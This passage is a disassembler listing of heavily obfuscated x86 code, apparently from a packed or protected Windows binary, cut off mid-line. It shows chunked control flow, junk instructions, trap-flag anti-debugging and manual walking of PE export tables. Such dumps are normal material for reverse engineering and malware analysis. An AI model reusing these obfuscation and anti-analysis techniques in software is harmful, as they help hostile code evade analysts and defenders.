sub_42A642-2F88j jmp loc_4293DD ; END OF FUNCTION CHUNK FOR sub_42A642 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4254D3 proc near ; CODE XREF: sub_425B00:loc_429088p ; sub_425B00+4C70p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00423090 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423B19 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425DC5 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00426EC7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A500 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0042CCB3 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042E631 SIZE 00000005 BYTES push ebp mov ebp, esp loc_4254D6: ; CODE XREF: sub_429E52-1C62j add esp, 0FFFFFFF8h mov [ebp+var_4], eax mov eax, [ebp+var_4] mov [ebp+var_8], eax jmp loc_426EC7 sub_4254D3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DF41 loc_4254E7: ; CODE XREF: sub_42DF41:loc_42D45Aj sbb edx, edi ror esi, 15h jb loc_425B61 jmp loc_42AF61 ; END OF FUNCTION CHUNK FOR sub_42DF41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4249FA loc_4254F7: ; CODE XREF: sub_4249FA+77F6j xor edx, 70981035h call sub_42D71D push eax ror eax, 1Ch mov ds:dword_426FB8, eax retn ; END OF FUNCTION CHUNK FOR sub_4249FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BF8 loc_42550D: ; CODE XREF: sub_425BF8+5252j jmp loc_425710 ; END OF FUNCTION CHUNK FOR sub_425BF8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4249FA loc_425512: ; CODE XREF: sub_4249FA+5142j ; sub_427239+73D5j rol eax, 1Ch jmp loc_4235B8 ; END OF FUNCTION CHUNK FOR sub_4249FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B669 loc_42551A: ; CODE XREF: sub_42B669+225Cj xor esi, 746A3229h ; END OF FUNCTION CHUNK FOR sub_42B669 ; START OF FUNCTION CHUNK FOR sub_429E52 loc_425520: ; CODE XREF: sub_429E52:loc_423B99j ; sub_42798F-349Cj ... jb loc_4281FC cmp dword ptr [ebp-4], 5 jnz loc_42481C jmp loc_42468A ; END OF FUNCTION CHUNK FOR sub_429E52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42349B loc_425535: ; CODE XREF: sub_42349B:loc_42A3ACj ror edi, 8 sub ebx, 0BC83561h jge sub_429AB1 jmp loc_42CD09 ; END OF FUNCTION CHUNK FOR sub_42349B ; =============== S U B R O U T I N E ======================================= sub_425549 proc near ; DATA XREF: _0182ofla:0042E38Bo xchg ebx, [esp+0] jmp sub_42D71D sub_425549 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C415 loc_425551: ; CODE XREF: sub_42C415:loc_42A3B8j jnz loc_424037 jmp loc_42B213 ; END OF FUNCTION CHUNK FOR sub_42C415 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_165. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42555D: ; CODE XREF: _0182ofla:0042B78Cj jmp loc_424C3B ; --------------------------------------------------------------------------- xor edi, ebp jmp sub_42AAD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427445 loc_425569: ; CODE XREF: sub_427445+7929j call sub_42D71D pushf mov [esp+8+var_8], eax ror eax, 9 ; END OF FUNCTION CHUNK FOR sub_427445 ; START OF FUNCTION CHUNK FOR sub_4298DD loc_425575: ; CODE XREF: sub_4298DD:loc_429370j push ecx jmp loc_42D3C9 ; END OF FUNCTION CHUNK FOR sub_4298DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429203 loc_42557B: ; CODE XREF: sub_429203+42D8j push edx ror ebx, 1Ah loc_42557F: ; CODE XREF: sub_429203:loc_42CDAEj push edi push 98910697h pop edi or edi, 0B73CF39h rol edi, 1Eh add edi, 1945CEB5h jmp loc_429EB9 ; END OF FUNCTION CHUNK FOR sub_429203 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424184 loc_42559A: ; CODE XREF: sub_424184+28C3j test esi, 0C39163B7h jmp loc_4293C8 ; END OF FUNCTION CHUNK FOR sub_424184 ; --------------------------------------------------------------------------- loc_4255A5: ; CODE XREF: _0182ofla:0042A58Dj or esi, eax shl eax, 0Fh ; START OF FUNCTION CHUNK FOR sub_42798F loc_4255AA: ; CODE XREF: sub_42798F+E8j ; sub_42D056:loc_42A574j xor edx, 0A93E7EBAh call sub_42D71D push eax jmp loc_425C23 ; END OF FUNCTION CHUNK FOR sub_42798F ; =============== S U B R O U T I N E ======================================= sub_4255BB proc near ; DATA XREF: sub_4284E7-40DBo inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] cmp byte ptr [eax], 2Eh push offset sub_425AB1 jmp loc_427682 sub_4255BB endp ; --------------------------------------------------------------------------- pop ebp jmp sub_425499 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B6E loc_4255D4: ; CODE XREF: sub_425B6E:loc_4264E3j ja loc_425192 jmp loc_425D2A ; END OF FUNCTION CHUNK FOR sub_425B6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4291BA loc_4255DF: ; CODE XREF: sub_4291BA:loc_42539Ej add ebx, 0F48BFF31h mov [ebx], eax pop ebx retn ; END OF FUNCTION CHUNK FOR sub_4291BA ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4255E9 proc near ; CODE XREF: sub_427F03p ; FUNCTION CHUNK AT 00424C75 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426B7C SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0042869B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042B4C9 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042D5D6 SIZE 0000000B BYTES xchg ebp, [esp+0] mov ebp, [esp+0] mov ebp, esp push ecx mov esp, ebp jmp loc_42B4C9 sub_4255E9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426571 loc_4255F9: ; CODE XREF: sub_426571+438Cj ; sub_42CC34:loc_42DC55j and esi, 0C2AAF7B3h add esi, 0FDC18BFFh mov [esi], eax pop esi call sub_42326C push offset loc_4292A6 jmp loc_424E41 ; END OF FUNCTION CHUNK FOR sub_426571 ; --------------------------------------------------------------------------- loc_425617: ; CODE XREF: _0182ofla:0042CD8Fj jnp loc_42915F ; =============== S U B R O U T I N E ======================================= sub_42561D proc near ; CODE XREF: sub_425EA5:loc_42AAB6p ; FUNCTION CHUNK AT 0042413A SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042503E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042766D SIZE 00000010 BYTES ; FUNCTION CHUNK AT 004284C1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B592 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E262 SIZE 0000000B BYTES mov [esp+0], ecx pop ecx movzx eax, byte ptr [eax] jmp loc_42413A sub_42561D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_425629 proc near ; CODE XREF: sub_427503j ; DATA XREF: sub_4253F4+2105o var_4 = dword ptr -4 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 004231A4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042351A SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00423ECA SIZE 0000001F BYTES ; FUNCTION CHUNK AT 004240C6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004240CC SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00424CA8 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00425644 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00425EF6 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0042754D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427C71 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042AD62 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042B565 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C59D SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042E4CC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042ED49 SIZE 0000000B BYTES push ecx mov ecx, [esp+4+arg_8] mov dword ptr [ecx], 10001h call sub_4280B6 jmp loc_4240CC sub_425629 endp ; --------------------------------------------------------------------------- pop ecx jmp sub_427797 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425629 loc_425644: ; CODE XREF: sub_425629:loc_42E4CCj push offset sub_428A17 jmp nullsub_171 ; END OF FUNCTION CHUNK FOR sub_425629 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42564E: ; CODE XREF: _0182ofla:004253CBj ; sub_42798F+F0j ... js loc_42EBE7 cmp dword ptr [ebp-4], 7 jnz loc_4236F0 jmp loc_42D6EC ; --------------------------------------------------------------------------- loc_425663: ; CODE XREF: sub_42798F+246Aj jnz loc_42C1F5 jmp loc_42C514 ; END OF FUNCTION CHUNK FOR sub_42798F ; =============== S U B R O U T I N E ======================================= sub_42566E proc near ; CODE XREF: _0182ofla:00425776j ; sub_4295D6:loc_42729Cp mov [esp+0], edx pop edx rol eax, 13h push eax call sub_424CD8 retn sub_42566E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BF8 loc_42567C: ; CODE XREF: sub_425BF8+3416j jmp loc_4260E5 ; END OF FUNCTION CHUNK FOR sub_425BF8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C1B2 loc_425681: ; CODE XREF: sub_42C1B2-8A64j jmp loc_424D90 ; END OF FUNCTION CHUNK FOR sub_42C1B2 ; --------------------------------------------------------------------------- word_425686 dw 0CCF0h ; CODE XREF: sub_42CED4+Cj ; --------------------------------------------------------------------------- jmp loc_428AF9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E218 loc_42568D: ; CODE XREF: sub_42E218:loc_4242E2j xchg ecx, [esp+4+var_4] jmp loc_424B9C ; END OF FUNCTION CHUNK FOR sub_42E218 ; --------------------------------------------------------------------------- adc ebx, 74E1462Fh jmp loc_423126 ; --------------------------------------------------------------------------- loc_4256A0: ; CODE XREF: _0182ofla:004294F2j jnb locret_427D2A sub edx, ebp jmp sub_429957 ; =============== S U B R O U T I N E ======================================= sub_4256AD proc near ; CODE XREF: sub_423B08+Cp ; _0182ofla:0042E62Bj ; FUNCTION CHUNK AT 004259BC SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00425EE4 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00426ADD SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00429527 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00429896 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D6BD SIZE 0000000A BYTES xchg edx, [esp+0] pop edx xor eax, eax mov [ebp-0Ch], eax cmp dword ptr [ebp-4], 0 jz loc_425EE4 jmp loc_429896 sub_4256AD endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4256C5: ; CODE XREF: _0182ofla:0042AD81j jl loc_425EB4 ror eax, 0Fh jmp loc_42B8BE ; =============== S U B R O U T I N E ======================================= sub_4256D3 proc near ; CODE XREF: sub_428041:loc_4231B8j push ebx mov ebp, [ebx] jmp loc_42A0CF sub_4256D3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D056 loc_4256DB: ; CODE XREF: sub_42D056-47D8j sbb edi, eax cmp esi, 0DFB03AE1h jmp loc_42987B ; END OF FUNCTION CHUNK FOR sub_42D056 ; =============== S U B R O U T I N E ======================================= sub_4256E8 proc near ; DATA XREF: sub_428729:loc_4244CDo ; FUNCTION CHUNK AT 00426199 SIZE 00000017 BYTES push 4F122A45h shl ebx, 1Fh jmp loc_426199 sub_4256E8 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_30. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- locret_4256F6: ; CODE XREF: _0182ofla:0042E7D0j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E689 loc_4256F7: ; CODE XREF: sub_42E689:loc_428329j mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h jmp loc_427572 ; END OF FUNCTION CHUNK FOR sub_42E689 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_215. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BF8 loc_42570D: ; CODE XREF: sub_425BF8+Cj mov eax, [eax+0Ch] loc_425710: ; CODE XREF: sub_425BF8:loc_42550Dj ; _0182ofla:0042D4B9j jnz loc_428FFC mov ebx, [eax+18h] mov ecx, [ebx+3Ch] mov ecx, [ebx+ecx+78h] or ecx, ecx jz loc_42AE31 jmp loc_42CA88 ; END OF FUNCTION CHUNK FOR sub_425BF8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E785 loc_42572D: ; CODE XREF: sub_42E785:loc_424358j mov [ebx], eax pop ebx retn ; END OF FUNCTION CHUNK FOR sub_42E785 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F46 loc_425731: ; CODE XREF: sub_428F46+12DDj rol eax, 0Dh push esi jmp loc_424164 ; END OF FUNCTION CHUNK FOR sub_428F46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427B02 loc_42573A: ; CODE XREF: sub_427B02-37FAj xchg eax, [esp+8+var_8] or eax, 100h xchg eax, [esp+8+var_8] popf nop jmp loc_4263DA ; END OF FUNCTION CHUNK FOR sub_427B02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_42574D: ; CODE XREF: sub_423A2A+2D3Bj jnz loc_42B41E jmp loc_42E557 ; END OF FUNCTION CHUNK FOR sub_423A2A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_211. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_425759: ; DATA XREF: sub_42EAB7-59C4o mov eax, [ebp-1Ch] mov eax, ds:dword_42B8F8[eax*4] mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jz loc_42D607 jmp loc_42A9B2 ; --------------------------------------------------------------------------- popf jmp sub_42566E ; --------------------------------------------------------------------------- db 0B1h dword_42577C dd 0 ; DATA XREF: _0182ofla:loc_42523Cw ; sub_4271AD+4r ... dword_425780 dd 3D114530h ; DATA XREF: sub_4235A0o ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E689 loc_425784: ; CODE XREF: sub_42E689-6394j jmp nullsub_191 ; END OF FUNCTION CHUNK FOR sub_42E689 ; --------------------------------------------------------------------------- db 44h, 1, 0E8h dword_42578C dd 0CCh ; DATA XREF: sub_424BCB-CA9r ; sub_428336w ... dword_425790 dd 76Ch ; DATA XREF: sub_42B15E+4r ; sub_42B15E+13w dword_425794 dd 9DDF51D8h ; DATA XREF: sub_4253DC-173Dr ; sub_428CFF+3w ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D6DD loc_425798: ; CODE XREF: sub_42D6DD+Aj jmp loc_423F9B ; END OF FUNCTION CHUNK FOR sub_42D6DD ; --------------------------------------------------------------------------- loc_42579D: ; CODE XREF: _0182ofla:004264D8j jmp locret_42D702 ; --------------------------------------------------------------------------- dw 3C2Ah dword_4257A4 dd 77D40000h ; DATA XREF: sub_42660C+3r ; _0182ofla:loc_426C70r ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E1C8 loc_4257A8: ; CODE XREF: sub_42E1C8+Dj jmp loc_42621B ; END OF FUNCTION CHUNK FOR sub_42E1C8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428C7D loc_4257AD: ; CODE XREF: sub_428C7D+Ej jmp loc_42851A ; END OF FUNCTION CHUNK FOR sub_428C7D ; --------------------------------------------------------------------------- inc edx sub al, 0AEh wait pop ecx daa xor ecx, eax db 2Eh enter 6C6Ch, 0 ; START OF FUNCTION CHUNK FOR sub_424C61 loc_4257BF: ; CODE XREF: sub_424C61+3FE8j jmp nullsub_47 ; END OF FUNCTION CHUNK FOR sub_424C61 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A70 loc_4257C4: ; CODE XREF: sub_424A70+18j jmp loc_4267BD ; END OF FUNCTION CHUNK FOR sub_424A70 ; --------------------------------------------------------------------------- loc_4257C9: ; CODE XREF: _0182ofla:0042424Fj jmp loc_42D96B ; --------------------------------------------------------------------------- dw 3BDh ; --------------------------------------------------------------------------- retf 0FD00h ; --------------------------------------------------------------------------- db 0CEh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A70 loc_4257D4: ; CODE XREF: sub_424A70+9EA0j jmp loc_42A98D ; END OF FUNCTION CHUNK FOR sub_424A70 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_222. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_4257DA: ; CODE XREF: sub_428D63:loc_42A17Cj jns loc_425E9E xchg eax, esi jnz loc_42D132 jmp loc_42ABE9 ; END OF FUNCTION CHUNK FOR sub_428D63 ; --------------------------------------------------------------------------- loc_4257ED: ; CODE XREF: _0182ofla:0042B71Cj pop ecx call sub_42B182 ; START OF FUNCTION CHUNK FOR sub_42D888 loc_4257F3: ; CODE XREF: sub_42D888+Aj jmp loc_42416E ; END OF FUNCTION CHUNK FOR sub_42D888 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_4257F8: ; CODE XREF: sub_42798F+EFAj rol edx, 0Fh sub ebx, ecx shl edx, 11h shr ebp, 0Fh jmp loc_4288D7 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB53 loc_425808: ; CODE XREF: sub_42CB53:loc_42861Aj and eax, 0F798AECAh sub eax, 0B3F97850h add eax, 0A3E0CDF0h xchg eax, [esp+8+var_8] mov eax, [ebp-4] push eax jmp loc_428F72 ; END OF FUNCTION CHUNK FOR sub_42CB53 ; --------------------------------------------------------------------------- mov edx, 0B242B436h call sub_4238A3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_74. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C9E6 loc_425831: ; CODE XREF: sub_42C9E6+E05j jmp sub_42C2CC ; END OF FUNCTION CHUNK FOR sub_42C9E6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4238F9 loc_425836: ; CODE XREF: sub_4238F9+Fj jmp nullsub_21 ; END OF FUNCTION CHUNK FOR sub_4238F9 ; =============== S U B R O U T I N E ======================================= sub_42583B proc near ; DATA XREF: _0182ofla:00424AEEo ; FUNCTION CHUNK AT 00424AF3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425CFA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426ED5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428E35 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042916F SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042C770 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042C924 SIZE 0000001F BYTES call sub_42D71D mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jz loc_423F31 jmp loc_42C770 sub_42583B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425DA5 loc_425852: ; CODE XREF: sub_425DA5+24E5j test al, al jz loc_42B597 jmp loc_4294CA ; END OF FUNCTION CHUNK FOR sub_425DA5 ; --------------------------------------------------------------------------- loc_42585F: ; CODE XREF: _0182ofla:00426A99j jo loc_42C6CC add edx, edi jmp loc_4235EA ; --------------------------------------------------------------------------- push dword ptr [ebp-4] call sub_4271D2 jmp loc_42C1B9 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425879 proc near ; CODE XREF: sub_42EA15-A1Fj push ebp mov ebp, esp call sub_423F73 sub_425879 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42E395 loc_425881: ; CODE XREF: sub_42E395-4831j jmp loc_429C0D ; END OF FUNCTION CHUNK FOR sub_42E395 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253F4 loc_425886: ; CODE XREF: sub_4253F4+37E1j jmp loc_423DD1 ; END OF FUNCTION CHUNK FOR sub_4253F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4271D2 loc_42588B: ; CODE XREF: sub_4271D2:loc_42C695j xchg ebp, [esp+0] ror eax, 12h mov ds:dword_423194, eax jmp loc_42B56A ; --------------------------------------------------------------------------- loc_42589C: ; CODE XREF: sub_4271D2j push offset sub_42AC07 loc_4258A1: ; CODE XREF: _0182ofla:0042DBA4j jmp nullsub_32 ; END OF FUNCTION CHUNK FOR sub_4271D2 ; --------------------------------------------------------------------------- or edi, 8DEF6DE6h jmp loc_4283BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42940E loc_4258B1: ; CODE XREF: sub_42940E+1929j call sub_424CD8 retn ; END OF FUNCTION CHUNK FOR sub_42940E ; =============== S U B R O U T I N E ======================================= sub_4258B7 proc near ; CODE XREF: sub_42660C+D7Cp ; sub_4278DB:loc_42AD2Ej ; FUNCTION CHUNK AT 00425453 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042C5E5 SIZE 0000000A BYTES jo loc_425453 push ebp mov ebp, esp push offset loc_426180 jmp nullsub_22 sub_4258B7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- test eax, eax jz loc_4236F0 jmp loc_42E7FA ; --------------------------------------------------------------------------- loc_4258D7: ; DATA XREF: _0182ofla:loc_4234FCo lea eax, [ebp-24h] push 37065B10h mov [esp], eax push 40h lea eax, [ebp-64h] loc_4258E7: ; CODE XREF: _0182ofla:loc_4291A2j push eax push 400000h mov eax, [ebp-10h] jmp loc_42E6AD ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4258F5 proc near ; CODE XREF: sub_42ECADj var_8 = dword ptr -8 var_1 = byte ptr -1 ; FUNCTION CHUNK AT 00425C38 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042C9F8 SIZE 00000005 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp+var_1], al jmp loc_42C9F8 sub_4258F5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428110 loc_425903: ; CODE XREF: sub_428110+Cj jz loc_42DCB2 jmp loc_42C7C5 ; END OF FUNCTION CHUNK FOR sub_428110 ; --------------------------------------------------------------------------- loc_42590E: ; CODE XREF: _0182ofla:0042748Cj shr eax, 7 loc_425911: ; CODE XREF: _0182ofla:loc_427067j call nullsub_138 retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425063 loc_425917: ; CODE XREF: sub_425063+7922j jmp loc_428FA7 ; END OF FUNCTION CHUNK FOR sub_425063 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42591C: ; CODE XREF: sub_42798F:loc_42810Bj ; sub_423A2A+5C3Bj jmp loc_42B5A1 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F50 loc_425921: ; CODE XREF: sub_423F50+10j jmp loc_423D49 ; END OF FUNCTION CHUNK FOR sub_423F50 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_425926: ; CODE XREF: sub_423A2A:loc_42CB26j call sub_423FCD test al, al jz loc_426758 jmp loc_42670D ; END OF FUNCTION CHUNK FOR sub_423A2A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_154. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429E52 loc_425939: ; CODE XREF: sub_429E52-5610j popf xchg ecx, edi jmp loc_4281EB ; END OF FUNCTION CHUNK FOR sub_429E52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DA2D loc_425941: ; CODE XREF: sub_42DA2D:loc_42C4CEj add eax, [esp+0] adc edx, [esp+arg_0] add esp, 8 movzx eax, word ptr [eax] jmp loc_42939D ; END OF FUNCTION CHUNK FOR sub_42DA2D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428041 loc_425953: ; CODE XREF: sub_428041:loc_423CB8j cmp dword ptr [eax], 47424454h jnz loc_4236F0 loc_42595F: ; CODE XREF: sub_428D63-2DFCj ; sub_42D056-6C9Dj ... jb loc_429049 push 0 push 0 push 6640FAE0h xor [esp+10h+var_10], 6640FAF0h jmp loc_429D40 ; END OF FUNCTION CHUNK FOR sub_428041 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_82. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42597B: ; CODE XREF: _0182ofla:0042B454j jmp locret_42E31F ; --------------------------------------------------------------------------- loc_425980: ; CODE XREF: _0182ofla:0042B29Ej ; DATA XREF: sub_42ACCF+9o mov [ebp-8], eax mov eax, [ebp+8] test byte ptr [eax-7], 10h jz loc_42EC6C inc dword ptr [ebp-8] jmp loc_42D295 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F46 loc_425998: ; CODE XREF: sub_428F46+12E3j jz loc_426A11 jmp loc_4251EF ; END OF FUNCTION CHUNK FOR sub_428F46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253F4 loc_4259A3: ; CODE XREF: sub_4253F4-1E94j jnp loc_425437 loc_4259A9: ; CODE XREF: sub_4253F4:loc_42E6E8j mov edi, eax loc_4259AB: ; CODE XREF: sub_4286E4+246Aj push 52424F24h pop eax xor eax, 0D2424F25h jmp loc_429E34 ; END OF FUNCTION CHUNK FOR sub_4253F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4256AD loc_4259BC: ; CODE XREF: sub_4256AD+1438j mov [ebp-0Ch], eax cmp dword ptr [ebp-4], 0 jz loc_425EE4 mov eax, [ebp-4] add eax, 3Ch jmp loc_42980C ; END OF FUNCTION CHUNK FOR sub_4256AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425499 loc_4259D4: ; CODE XREF: sub_425499+1F89j call sub_42371C push eax mov eax, [ebp-8] push eax call sub_42371C jmp loc_423D87 ; END OF FUNCTION CHUNK FOR sub_425499 ; --------------------------------------------------------------------------- or edi, 0A0B9CD8Eh jmp loc_42C86D ; --------------------------------------------------------------------------- pushf jmp loc_42B5C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D52E loc_4259F9: ; CODE XREF: sub_42D52E:loc_42DC28j push ecx jmp loc_42B12C ; END OF FUNCTION CHUNK FOR sub_42D52E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_134. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_54. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4289E4 loc_425A01: ; CODE XREF: sub_4289E4+38B0j jmp nullsub_150 ; END OF FUNCTION CHUNK FOR sub_4289E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A181 loc_425A06: ; CODE XREF: sub_42A181+15j or eax, eax jz loc_42484C jmp loc_42DCFB ; END OF FUNCTION CHUNK FOR sub_42A181 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_425A13: ; CODE XREF: sub_423A2A:loc_42B7BBj call sub_426CC3 loc_425A18: ; CODE XREF: sub_423704+B6BBj jmp loc_428975 ; END OF FUNCTION CHUNK FOR sub_423A2A ; =============== S U B R O U T I N E ======================================= sub_425A1D proc near ; DATA XREF: _0182ofla:004249C4o ; FUNCTION CHUNK AT 0042C4B2 SIZE 0000001C BYTES call sub_42D71D push eax ror eax, 11h push ecx jmp loc_42C4B2 sub_425A1D endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_13. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AB3E loc_425A2D: ; CODE XREF: sub_42AB3E+1743j ; sub_42DF41:loc_42E2A4j jmp loc_4246E6 ; END OF FUNCTION CHUNK FOR sub_42AB3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427E42 loc_425A32: ; CODE XREF: sub_427E42-4211j ; _0182ofla:loc_42DB28j jmp loc_42B5FB ; END OF FUNCTION CHUNK FOR sub_427E42 ; --------------------------------------------------------------------------- loc_425A37: ; CODE XREF: _0182ofla:00425D25j ; _0182ofla:0042687Dj mov ebx, 1E99C182h ; =============== S U B R O U T I N E ======================================= sub_425A3C proc near ; CODE XREF: sub_42E282-6AF0p ; FUNCTION CHUNK AT 